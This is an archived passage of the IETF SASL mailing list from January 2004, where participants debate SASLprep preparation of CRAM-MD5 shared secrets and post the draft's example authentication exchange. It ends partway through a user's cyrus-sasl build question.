Sam's proposed text. Could the WG chairs please conduct a 'hum' over whether the text should be added to the draft? This is the last outstanding issue, and as soon as it's resolved we can get this document into last call. Last CRAM-MD5 text I saw proposed was from Simon, not Sam. http://www.imc.org/ietf-sasl/mail-archive/msg01371.html If you were asking about some other suggested text, please send me a URL to the post suggesting it. I note that the WG has already achieved, I believe, consensus that: 1) form of authentication identities are, by their very nature, mechanism specific, 2) mechanisms whose authentication identities are in the form of a simple user name should use SASLprep, and 3) mechanisms whose shared secrets are in the form of a simple password should use SASLprep. I do not think there is significant contention here. In particular, I don't see anyone voicing concern regarding this portion of the suggested text: The server MUST prepare the shared secret string using the [SASLPrep] profile of the [StringPrep] algorithm. The resulting value MUST be encoded as UTF-8 [UTF8]. The server may store the prepared string instead of, or as well as, the unprepared string, so that it does not have to prepare it every time it is needed for computation. What is in contention is whether the above text should be followed by this additional text: However, if the original, unprepared string, is not stored, it may render the computed secret to be incompatible with a future revisions of SASLPrep that support currently unassigned code points (compare section 7 of [StringPrep]). It is therefor recommended to store the unprepared string in the database. I would like to hear comments as why this additional text should or should not be added. Kurt From owner-ietf-sasl Wed Jan 21 14:41:52 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LMfqib038347; Wed, 21 Jan 2004 14:41:52 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LMfqwU038346; Wed, 21 Jan 2004 14:41:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from minbar.fac.cs.cmu.edu (MINBAR.FAC.CS.CMU.EDU [128.2.185.161]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0LMfpib038339 for ; Wed, 21 Jan 2004 14:41:51 -0800 (PST) (envelope-from jhutz@cmu.edu) Received: from minbar.fac.cs.cmu.edu ([127.0.0.1]) by minbar.fac.cs.cmu.edu id aa27885; 21 Jan 2004 17:41 EST Date: Wed, 21 Jan 2004 17:41:51 -0500 From: Jeffrey Hutzelman To: "Kurt D. Zeilenga" , Lyndon Nerenberg cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text Message-ID: <274250000.1074724911@minbar.fac.cs.cmu.edu> In-Reply-To: <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Wednesday, January 21, 2004 13:31:53 -0800 "Kurt D. Zeilenga" wrote: > What is in contention is whether the above text should be > followed by this additional text: > > However, if the original, unprepared > string, is not stored, it may render the computed secret to be > incompatible with a future revisions of SASLPrep that support > currently unassigned code points (compare section 7 of > [StringPrep]). It is therefor recommended to store the > unprepared string in the database. It is true, IF the server's database is allowed to contain secrets derived from a password containing an unassigned code point. This brings us back to the original point -- a "storage" string should not be allowed to contain unassigned code points. This _is_ a mechanism-specific issue. SASLprep can't specify globally whether unassigned code points are permitted or not, because the answer depends on context -- they are permitted in "query" strings, but not in "storage" strings, and it is up to each specific user of SASLprep to specify whether unassigned code points are permitted. It cannot even be decided globally for SASL -- SASL doesn't deal in "usernames" and "passwords"; it deals in "authentication identities" (whose form is necessarily mechanism-specific) and "authorization identities" (whose form is necessarily application-specific). Since most SASL mechanisms are and will be built on otherwise existing authentication technologies, it is inappropriate for SASL to dictate the form of authentication identities or how they should be prepared. I believe we already have concensus on this issue. Returning to the present question... IMHO, the above text is appropriate and desirable iff CRAM-MD5 passwords stored by the server are permitted to contain unassigned code points. If that is not permitted, then alternate (but very similar) text should be included stating such. It should be pointed out that storing the unprepared string is not a solution to the server's problem. Unless the server and client agree on the normalization mapping for every character in the client's password, the authentication will fail. It is intended that for code points which both sides believe are assigned, this cannot happen. However, if one side believes a code point is unassigned, and the other believes it should be mapped to something else, then you lose. In this scenario, it does not matter whether the server prepared the string when it was stored in the database, or when the client made the request. That only matters when you upgrade the server. If strings are prepared at storage time, upgrading the server has no effect. If they are prepared when a request is received, then upgrading the server will fix problems for some clients (those which were newer than the server), and create new problems for other clients (those which are now older than the server). _THIS_ is an example of why unassigned code points should not be permitted in storage strings. -- Jeffrey T. Hutzelman (N3NHS) Sr. Research Systems Programmer School of Computer Science - Research Computing Facility Carnegie Mellon University - Pittsburgh, PA From owner-ietf-sasl Wed Jan 21 15:02:13 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LN2Cib038905; Wed, 21 Jan 2004 15:02:13 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LN2CVJ038904; Wed, 21 Jan 2004 15:02:12 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LN2Bib038896; Wed, 21 Jan 2004 15:02:11 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0LN2Dec013980; Wed, 21 Jan 2004 23:02:13 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 15:01:46 -0800 To: Paul Hoffman / IMC From: "Kurt D. Zeilenga" Subject: Re: A different thought on saslprep Cc: ietf-sasl@imc.org In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 03:17 PM 1/12/2004, Paul Hoffman / IMC wrote: >Greetings again. Sorry for coming in so late on this, but three issues were just pointed out to me about this document and I thought they might be worthy of discussion. Sorry for the delayed response... >The first is an implementation issue. In order to use saslprep on the shared secret, the application needs to know the text encoding used to enter the shared secret. Until now, that has always been ASCII, so no big problem there. Most of the mechanisms using SASLprep have supported UTF-8 encoded Unicode passwords for many years. The introduction of SASLprep doesn't make the problem any worse. (It might make it better as it, in many cases, requires the client (which is more likely to know what character set/encoding the character data is in) to do more with the data.) >However, once we open up to the Unicode character set, we also open up to a zillion odd text encodings (UTF-8, BIG5, ISO 8859-7, ...). Is anyone worried that that programs will get the conversion from what the user entered for the shared secret into Unicode code points wrong? Not terribly. I will not that we use to have lots of similar problems in LDAP. Clients use to send character data values in whatever character set/encoding suited them. Once we implemented UTF-8 validation in the servers, the client developers got their acts together. I suspect the same has/is/will happen in SASL as well. >The second is shared secrets that aren't text. Is the shared secret always text, or is there a pure binary form? If so, you can't saslprep the pure binary form. I'm assuming this is a non-issue, but I might have not found the right place in the SASL draft. SASLprep is not applicable to usernames/passwords which are not composed of Unicode character data. The interesting case is where you have a protocol which supports octet-string passwords where those passwords may at times be character data. LDAP simple bind is an example of such. The current proposal for improving interoperability when the password is character data is to, in this case and only this case, require transcoding to Unicode, preparation with SASLprep, and transfer as UTF-8. This approach, though it does have a few problems, seems to be the best we can do (without changing the octet-string password aspect of the protocol/data model). >The second is a security consideration. Running saslprep over a shared secret reduces the entropy of the shared secret by eliminating some characters and mapping others. Not a big deal, but it does make an attacker's job easier. In theory, yes. But one could argue that, in practice, the introduction of SASLprep will make more of the password space usable hence making the attacker's job harder. Kurt From owner-ietf-sasl Wed Jan 21 16:14:20 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M0EJib041417; Wed, 21 Jan 2004 16:14:20 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M0EJCv041416; Wed, 21 Jan 2004 16:14:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M0EHib041410 for ; Wed, 21 Jan 2004 16:14:17 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0M0EIec014676; Thu, 22 Jan 2004 00:14:18 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121155326.03d01430@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 16:13:51 -0800 To: Jeffrey Hutzelman From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: Lyndon Nerenberg , ietf-sasl@imc.org In-Reply-To: <274250000.1074724911@minbar.fac.cs.cmu.edu> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> <274250000.1074724911@minbar.fac.cs.cmu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 02:41 PM 1/21/2004, Jeffrey Hutzelman wrote: >On Wednesday, January 21, 2004 13:31:53 -0800 "Kurt D. Zeilenga" wrote: >>What is in contention is whether the above text should be >>followed by this additional text: >> >> However, if the original, unprepared >> string, is not stored, it may render the computed secret to be >> incompatible with a future revisions of SASLPrep that support >> currently unassigned code points (compare section 7 of >> [StringPrep]). It is therefor recommended to store the >> unprepared string in the database. > >It is true, IF the server's database is allowed to contain secrets derived from a password containing an unassigned code point. This brings us back to the original point -- a "storage" string should not be allowed to contain unassigned code points. > >This _is_ a mechanism-specific issue. SASLprep can't specify globally whether unassigned code points are permitted or not, because the answer depends on context -- they are permitted in "query" strings, but not in "storage" strings, and it is up to each specific user of SASLprep to specify whether unassigned code points are permitted. Er, right, it's up to the mechanism specification to state whether, and if so how, SASLprep is used. CRAM-MD5 says SASLprep is used. Is this issue simply which the server provided shared secret is a "storage" string or not? To answer that, can we just ask, is the client provided shared secret a "query" string? If yes, then the server provided shared secret must be a "storage" string. Right? >It cannot even be decided globally for SASL -- SASL doesn't deal in "usernames" and "passwords"; it deals in "authentication identities" (whose form is necessarily mechanism-specific) and "authorization identities" (whose form is necessarily application-specific). Since most SASL mechanisms are and will be built on otherwise existing authentication technologies, it is inappropriate for SASL to dictate the form of authentication identities or how they should be prepared. I believe we already have concensus on this issue. This is, I think, is basically in line with what I said. >Returning to the present question... >IMHO, the above text is appropriate and desirable iff CRAM-MD5 passwords stored by the server are permitted to contain unassigned code points. If that is not permitted, then alternate (but very similar) text should be included stating such. Sounds like your asking for a clear indication in the document as which strings are "query" strings, which are "storage" strings, and what that implies. That seems quite reasonable. >It should be pointed out that storing the unprepared string is not a solution to the server's problem. Unless the server and client agree on the normalization mapping for every character in the client's password, the authentication will fail. It is intended that for code points which both sides believe are assigned, this cannot happen. However, if one side believes a code point is unassigned, and the other believes it should be mapped to something else, then you lose. > >In this scenario, it does not matter whether the server prepared the string when it was stored in the database, or when the client made the request. That only matters when you upgrade the server. If strings are prepared at storage time, upgrading the server has no effect. If they are prepared when a request is received, then upgrading the server will fix problems for some clients (those which were newer than the server), and create new problems for other clients (those which are now older than the server). _THIS_ is an example of why unassigned code points should not be permitted in storage strings. As I understand it, this suggested additional text allows what is an invalid password representation (contains unassigned characters) in server to become a valid password representation (those characters are now assigned) upon some future update of that server. This seems really odd to me. It would seem far wiser to refuse to accept invalid representations (due to unassigned characters) as one has no clue at the time of implementation whether or not a particular invalid representation will ever come valid in the future. Kurt From owner-ietf-sasl Thu Jan 22 01:34:42 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9Ygib035212; Thu, 22 Jan 2004 01:34:42 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M9YgPk035211; Thu, 22 Jan 2004 01:34:42 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (YahooBB218183214072.bbtec.net [218.183.214.72]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9Yeib035182 for ; Thu, 22 Jan 2004 01:34:41 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id AA04015159C; Thu, 22 Jan 2004 04:33:49 -0500 (EST) To: Tony Hansen Cc: Lyndon Nerenberg , ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> <400EE1AD.6010309@att.com> From: Sam Hartman Date: Thu, 22 Jan 2004 04:33:49 -0500 In-Reply-To: <400EE1AD.6010309@att.com> (Tony Hansen's message of "Wed, 21 Jan 2004 15:31:41 -0500") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Tony" == Tony Hansen writes: Tony> I think it should be common to all mechanisms, and thus Tony> belongs in the base spec. Tony> Tony Hansen tony@att.com Tony> Lyndon Nerenberg wrote: >> --On 2004-1-15 10:53 PM -0500 Sam Hartman >> wrote: >>> I disagree and believe that the choice of encoding and >>> normalization for the authentication identity is entirely a >>> matter of choice for the mechanism document and is out of >>> scope for normative comments from the base spec. The base >>> spec can and does give advice on what best practice is with >>> regard to these issues. >> Fair enough. I'm not convinced there is consensus either for or >> against adding Sam's proposed text. Could the WG chairs please >> conduct a 'hum' over whether the text should be added to the >> draft? This is the last outstanding issue, and as soon as it's >> resolved we can get this document into last call. --lyndon It seems like you are disagreeing fairly strongly with what I'm saying. I assert (and attempted to justify in text that was trimmed) why authentication identifier encoding must be a mechanism matter. You assert disagreement. Would you please describe why you think I'm wrong or how you think I'm unclear or otherwise explain how you think it would work to treat this as a global issue? From owner-ietf-sasl Thu Jan 22 01:37:45 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9biib036214; Thu, 22 Jan 2004 01:37:44 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M9bibr036213; Thu, 22 Jan 2004 01:37:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (YahooBB218183214072.bbtec.net [218.183.214.72]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9bhib036197 for ; Thu, 22 Jan 2004 01:37:43 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id B44F615159C; Thu, 22 Jan 2004 04:36:54 -0500 (EST) To: Lyndon Nerenberg Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> From: Sam Hartman Date: Thu, 22 Jan 2004 04:36:54 -0500 In-Reply-To: <2147483647.1074636301@localhost> (Lyndon Nerenberg's message of "Tue, 20 Jan 2004 22:05:01 -0800") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Lyndon" == Lyndon Nerenberg writes: Lyndon> --On 2004-1-15 10:53 PM -0500 Sam Hartman Lyndon> wrote: >> I disagree and believe that the choice of encoding and >> normalization for the authentication identity is entirely a >> matter of choice for the mechanism document and is out of scope >> for normative comments from the base spec. The base spec can >> and does give advice on what best practice is with regard to >> these issues. Lyndon> Fair enough. I'm not convinced there is consensus either Lyndon> for or against adding Sam's proposed text. Could the WG Lyndon> chairs please conduct a 'hum' over whether the text should Lyndon> be added to the draft? This is the last outstanding issue, Lyndon> and as soon as it's resolved we can get this document into Lyndon> last call. I don't recall proposing any text. I may be confused here. From owner-ietf-sasl Thu Jan 22 10:10:58 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MIAwib074389; Thu, 22 Jan 2004 10:10:58 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0MIAwKf074388; Thu, 22 Jan 2004 10:10:58 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from [63.202.92.157] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MIAuic074382; Thu, 22 Jan 2004 10:10:56 -0800 (PST) (envelope-from phoffman@imc.org) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> References: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Thu, 22 Jan 2004 10:10:56 -0800 To: "Kurt D. Zeilenga" From: Paul Hoffman / IMC Subject: Re: A different thought on saslprep Cc: ietf-sasl@imc.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 3:01 PM -0800 1/21/04, Kurt D. Zeilenga wrote: >Most of the mechanisms using SASLprep have supported UTF-8 encoded >Unicode passwords for many years. Ah, good. I wasn't aware of that. >I will not that we use to have lots of similar problems in LDAP. >Clients use to send character data values in whatever character >set/encoding suited them. Once we implemented UTF-8 validation >in the servers, the client developers got their acts together. >I suspect the same has/is/will happen in SASL as well. Sounds OK to me if other SASL implementers agree. > >The second is shared secrets that aren't text. Is the shared >secret always text, or is there a pure binary form? If so, you can't >saslprep the pure binary form. I'm assuming this is a non-issue, but >I might have not found the right place in the SASL draft. > >SASLprep is not applicable to usernames/passwords which are not >composed of Unicode character data. That absolutely needs to be clarified in the document. Right now, it says "It may be applicable elsewhere simple user names and passwords are used." To me, a bunch of hex values is a "simple" password. > >The second is a security consideration. Running saslprep over a >shared secret reduces the entropy of the shared secret by >eliminating some characters and mapping others. Not a big deal, but >it does make an attacker's job easier. > >In theory, yes. But one could argue that, in practice, the >introduction of SASLprep will make more of the password space >usable hence making the attacker's job harder. But you said above that most SASL mechanisms have already been using UTF-8, so that doesn't make sense. I believe that you have to add a security consideration about this. --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-sasl Thu Jan 22 11:10:07 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MJA7ib076603; Thu, 22 Jan 2004 11:10:07 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0MJA77r076602; Thu, 22 Jan 2004 11:10:07 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MJA6ib076594; Thu, 22 Jan 2004 11:10:06 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0MJA7ec027579; Thu, 22 Jan 2004 19:10:08 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040122110237.03cfae70@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Thu, 22 Jan 2004 11:09:40 -0800 To: Paul Hoffman / IMC From: "Kurt D. Zeilenga" Subject: Re: A different thought on saslprep Cc: ietf-sasl@imc.org In-Reply-To: References: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 10:10 AM 1/22/2004, Paul Hoffman / IMC wrote: >> >The second is a security consideration. Running saslprep over a shared secret reduces the entropy of the shared secret by eliminating some characters and mapping others. Not a big deal, but it does make an attacker's job easier. >> >>In theory, yes. But one could argue that, in practice, the >>introduction of SASLprep will make more of the password space >>usable hence making the attacker's job harder. > >But you said above that most SASL mechanisms have already been using UTF-8, so that doesn't make sense. I believe that you have to add a security consideration about this. The mechanisms have long supported UTF-8 (with no significant code point restrictions)... and non-ASCII passwords are certainly in use, but due to interoperability problems, much of the password space is not terrible usable. An attacker today would be wise to first search the ASCII-only part of the space, then the portion of the UTF-8 space which is use, and then maybe try to exhaust the complete space. I agree that the introduction of SASLprep reduces the size of the complete space. My point was that the introduction will increase the portion of practically usable space, and that will make it much harder on the attacker. Kurt From owner-ietf-sasl Fri Jan 23 13:06:22 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Kib018874; Fri, 23 Jan 2004 13:06:22 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NL6JvA018872; Fri, 23 Jan 2004 13:06:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (209-139-252-102.canadawired.com [209.139.252.102] (may be forged)) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Hib018857 for ; Fri, 23 Jan 2004 13:06:18 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 209-139-252-102.canadawired.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 04A5B67007 for ; Fri, 23 Jan 2004 13:06:05 -0800 (PST) Date: Thu, 22 Jan 2004 11:33:04 -0800 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: CRAM-MD5 examples Message-ID: <2147483647.1074771184@localhost> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Simon also proposed corrected text for the examples. Since my main server is still in a box I don't have access to my SASL tools, so I would appreciate it if someone could run these new examples and provide independent verification of their correctness. S: * OK [CAPABILITY IMAP4rev1 STARTTLS LOGINDISABLED AUTH=CRAM-MD5] C: A0001 AUTHENTICATE CRAM-MD5 S: + PDE4OTYuNjk3MTcwOTUyQHBvc3RvZmZpY2UuZXhhbXBsZS5uZXQ+ C: am9lIDNkYmM4OGYwNjI0Nzc2YTczN2IzOTA5M2Y2ZWI2NDI3 S: A0001 OK CRAM-MD5 authentication successful In this example, the shared secret is the string tanstaaftanstaaf Hence, the Keyed MD5 digest is produced by calculating MD5((tanstaaftanstaaf XOR opad), MD5((tanstaaftanstaaf XOR ipad), <1896.697170952@postoffice.example.net>)) where ipad and opad are as defined in [KEYED-MD5] and the string shown in the challenge is the base64 encoding of <1896.697170952@postoffice.example.net>. The shared secret is null-padded to a length of 64 bytes. If the shared secret is longer than 64 bytes, the MD5 digest of the shared secret is used as a 16 byte input to the keyed MD5 calculation. This produces a digest value (in hexadecimal) of 3dbc88f0624776a737b39093f6eb6427 The user name is then prepended to it, forming joe 3dbc88f0624776a737b39093f6eb6427 Which is then base64 encoded to meet the requirements of the IMAP4 AUTHENTICATE command (or the similar POP3 AUTH command), yielding am9lIDNkYmM4OGYwNjI0Nzc2YTczN2IzOTA5M2Y2ZWI2NDI3 Thanks, --lyndon From owner-ietf-sasl Fri Jan 23 13:06:22 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Kib018875; Fri, 23 Jan 2004 13:06:22 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NL6KY5018873; Fri, 23 Jan 2004 13:06:20 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (209-139-252-102.canadawired.com [209.139.252.102] (may be forged)) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Hib018856 for ; Fri, 23 Jan 2004 13:06:18 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 209-139-252-102.canadawired.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id D495B67003 for ; Fri, 23 Jan 2004 13:06:04 -0800 (PST) Date: Thu, 22 Jan 2004 11:29:45 -0800 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: CRAM-MD5 proposed text Message-ID: <2147483647.1074770985@localhost> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Sorry folks, I've been working offline for the last week and haven't had access to my mail archives. The text in question was proposed by Simon, not Sam, and reads: The server MUST prepare the shared secret string using the [SASLPrep] profile of the [StringPrep] algorithm. The resulting value MUST be encoded as UTF-8 [UTF8]. The server may store the prepared string instead of, or as well as, the unprepared string, so that it does not have to prepare it every time it is needed for computation. However, if the original, unprepared string, is not stored, it may render the computed secret to be incompatible with a future revisions of SASLPrep that support currently unassigned code points (compare section 7 of [StringPrep]). It is therefor recommended to store the unprepared string in the database. --lyndon From owner-ietf-sasl Fri Jan 23 19:47:18 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0O3lHib034393; Fri, 23 Jan 2004 19:47:17 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0O3lHKO034392; Fri, 23 Jan 2004 19:47:17 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from core.noc.uanl.mx (core.noc.uanl.mx [148.234.7.52]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0O3lGib034386 for ; Fri, 23 Jan 2004 19:47:16 -0800 (PST) (envelope-from jcvalero@redes.uanl.mx) Received: from redes13 (redes13.dsi.uanl.mx [148.234.7.34]) by core.noc.uanl.mx (Postfix) with SMTP id AA8825C24 for ; Fri, 23 Jan 2004 21:47:19 -0600 (CST) Message-ID: <006701c3e22b$d3caa4d0$2207ea94@dsi.uanl.mx> From: "Jesus C. Valero Cantu" To: Subject: OpenBSD 3.4 & cyrus-sasl-2.1.17 Date: Fri, 23 Jan 2004 21:40:36 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0064_01C3E1F9.891D2200" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: This is a multi-part message in MIME format. ------=_NextPart_000_0064_01C3E1F9.891D2200 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi everybody. I'm trying to implement, Postfix SMTP AUTH with cyrus-sasl mysql = plugin. At compiling time, i see messages like this mv -f .libs/login_init.lo login_init.lo /bin/sh ../libtool --mode=3Dlink gcc -Wall -W -g -O2 -module = -export-dynamic -rpath /usr/lib/sasl2 -L/usr/lib -o liblogin.la = -version-info 2:17:0 login.lo login_init.lo plugin_common.lo -lresolv rm -fr .libs/liblogin.la .libs/liblogin.* .libs/liblogin.* *** Warning: This library needs some functionality provided by -lresolv. *** I have the capability to make that library automatically link in = when *** you link to this library. But I can only do this if you have a *** shared version of the library, which you do not appear to have. *** Warning: libtool could not satisfy all declared 